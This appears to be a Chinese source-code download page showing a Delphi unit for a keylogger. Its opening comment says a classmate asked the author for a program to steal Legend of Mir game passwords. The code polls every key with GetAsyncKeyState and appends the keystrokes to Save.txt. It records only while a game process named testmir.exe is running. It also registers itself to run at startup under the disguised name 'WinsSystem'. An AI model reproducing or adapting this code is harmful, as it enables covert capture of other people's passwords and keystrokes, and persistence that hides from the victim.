开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Windows编程 > 控制台编程 > 查看源码
main.~pas
资源名称：进程监视.rar　[点击查看]
上传用户：mrkingwuhu
上传日期：2007-05-27
资源大小：185k
文件大小：8k
源码类别：

控制台编程

开发平台：

Delphi

main.~pas：源码内容
  1. unit main;
  2. {受同学之邀,要我写个盗传奇密码的程序,以前从没有搞过,不知从何下手
  3. 知道原理是键盘记录这方面的,所以写了个很简单的键盘记录器罢了,并不
  4. 是什么密码截取器.
  5. (以TEST.EXE为例)本程序是通过几个时钟控件,一个用来监视}
  6. interface
  8. uses
  9.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  10.   Dialogs, ExtCtrls, StdCtrls, Registry;
  12. type
  13.   Tw_main = class(TForm)
  14.     Timer_keyrec: TTimer;
  15.     Timer_savetxt: TTimer;
  16.     Memo_gettxt: TMemo;
  17.     Timer_thread: TTimer;
  18.     Label_thread: TLabel;
  19.     procedure Timer_keyrecTimer(Sender: TObject);
  20.     procedure Timer_savetxtTimer(Sender: TObject);
  21.     procedure Timer_threadTimer(Sender: TObject);
  22.     procedure FormCreate(Sender: TObject);
  23.   private
  24.     { Private declarations }
  25.   public
  26.     { Public declarations }
  27.   end;
  29. var
  30.   w_main: Tw_main;
  32. implementation
  33. uses public_fun;
  34. var
  35.   F:Textfile;
  36. {$R *.DFM}
  38. //Detect Press Key From any window
  39. procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
  40. var
  41.   i : byte;
  42. begin
  43.   for i:=8 To 222 do
  44.   begin
  45.      if GetAsyncKeyState(i)=-32767 then
  46.       begin
  47.       case i of
  48.       8  : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace
  49.       9  : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]';
  50.       13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter
  51.       17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]';
  52.       27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]';
  53.       32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space
  54.       // Del,Ins,Home,PageUp,PageDown,End
  55.       33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]';
  56.       34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]';
  57.       35 : Memo_gettxt.text := Memo_gettxt.text + '[End]';
  58.       36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]';
  59.       //Arrow Up Down Left Right
  60.       37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]';
  61.       38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]';
  62.       39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]';
  63.       40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';
  65.       44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]';
  66.       45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]';
  67.       46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]';
  68.       145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';
  70.       //Number 1234567890 Symbol !@#$%^&*()
  71.       48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')'
  72.            else Memo_gettxt.text:=Memo_gettxt.text+'0';
  73.       49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!'
  74.            else Memo_gettxt.text:=Memo_gettxt.text+'1';
  75.       50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@'
  76.            else Memo_gettxt.text:=Memo_gettxt.text+'2';
  77.       51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#'
  78.            else Memo_gettxt.text:=Memo_gettxt.text+'3';
  79.       52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$'
  80.            else Memo_gettxt.text:=Memo_gettxt.text+'4';
  81.       53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%'
  82.            else Memo_gettxt.text:=Memo_gettxt.text+'5';
  83.       54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^'
  84.            else Memo_gettxt.text:=Memo_gettxt.text+'6';
  85.       55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&'
  86.            else Memo_gettxt.text:=Memo_gettxt.text+'7';
  87.       56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*'
  88.            else Memo_gettxt.text:=Memo_gettxt.text+'8';
  89.       57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'('
  90.            else Memo_gettxt.text:=Memo_gettxt.text+'9';
  91.       65..90 : // a..z , A..Z
  92.           begin
  93.           if ((GetKeyState(VK_CAPITAL))=1) then
  94.               if GetKeyState(VK_SHIFT)<0 then
  95.                  Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z
  96.               else
  97.                  Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
  98.           else
  99.               if GetKeyState(VK_SHIFT)<0 then
  100.                   Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
  101.               else
  102.                   Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z
  103.           end;
  104.       //Win
  105. //      91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]';
  106. //      92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]';
  107.       //Numpad
  108.       96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad  0..9
  109.       106:Memo_gettxt.text:=Memo_gettxt.text+'*';
  110.       107:Memo_gettxt.text:=Memo_gettxt.text+'&';
  111.       109:Memo_gettxt.text:=Memo_gettxt.text+'-';
  112.       110:Memo_gettxt.text:=Memo_gettxt.text+'.';
  113.       111:Memo_gettxt.text:=Memo_gettxt.text+'/';
  114.       144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';
  116.       112..123: //F1-F12
  117.           Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';
  119.       186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':'
  120.             else Memo_gettxt.text:=Memo_gettxt.text+';';
  121.       187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+'
  122.             else Memo_gettxt.text:=Memo_gettxt.text+'=';
  123.       188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<'
  124.             else Memo_gettxt.text:=Memo_gettxt.text+',';
  125.       189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_'
  126.             else Memo_gettxt.text:=Memo_gettxt.text+'-';
  127.       190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>'
  128.             else Memo_gettxt.text:=Memo_gettxt.text+'.';
  129.       191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?'
  130.             else Memo_gettxt.text:=Memo_gettxt.text+'/';
  131.       192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~'
  132.             else Memo_gettxt.text:=Memo_gettxt.text+'`';
  133.       219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{'
  134.             else Memo_gettxt.text:=Memo_gettxt.text+'[';
  135.       220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|'
  136.             else Memo_gettxt.text:=Memo_gettxt.text+'';
  137.       221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}'
  138.             else Memo_gettxt.text:=Memo_gettxt.text+']';
  139.       222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"'
  140.             else Memo_gettxt.text:=Memo_gettxt.text+'''';
  141.       end;
  142.       end;
  143.   end;
  144. end;
  146. procedure Tw_main.Timer_savetxtTimer(Sender: TObject);
  147. begin
  148.   Assignfile(F,'Save.txt');
  149.   if not FileExists('Save.txt') Then
  150.     begin
  151.       Rewrite(F);
  152.       Closefile(F);
  153.     End
  154.   Else
  155.     Assignfile(F,'Save.txt');
  156.     {$I-}
  157.     Append(F);
  158.     {$I+}
  159.   If IOResult<> 0 Then
  160.     Begin
  161.       ShowMessage('Cannot Open File');
  162.     End;
  164.   Write(F,Memo_gettxt.Text);
  165.   Memo_gettxt.Clear;
  166.   Closefile(F);
  167. end;
  169. procedure Tw_main.Timer_threadTimer(Sender: TObject);
  170. begin
  171.   if detecthread('testmir.exe')='exist' then
  172.     begin
  173.       label_thread.Caption:='thread is Exist';
  174.       timer_keyrec.Enabled:=true;
  175.     end
  176.   else
  177.     begin
  178.       label_thread.Caption:='thread is NOTexist';
  179.       timer_keyrec.Enabled:=false;
  180.     end;
  181. end;
  183. procedure Tw_main.FormCreate(Sender: TObject);
  184. var
  185.   regis_mymir:TRegistry;
  186. begin
  187.   regis_mymir:=TRegistry.Create();
  188.   regis_mymir.RootKey:=HKEY_LOCAL_MACHINE;
  189.   regis_mymir.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true);
  190.   regis_mymir.WriteString('WinsSystem',ExtractFilename(Application.ExeName));
  191.   regis_mymir.Free;
  192. end;
  194. end.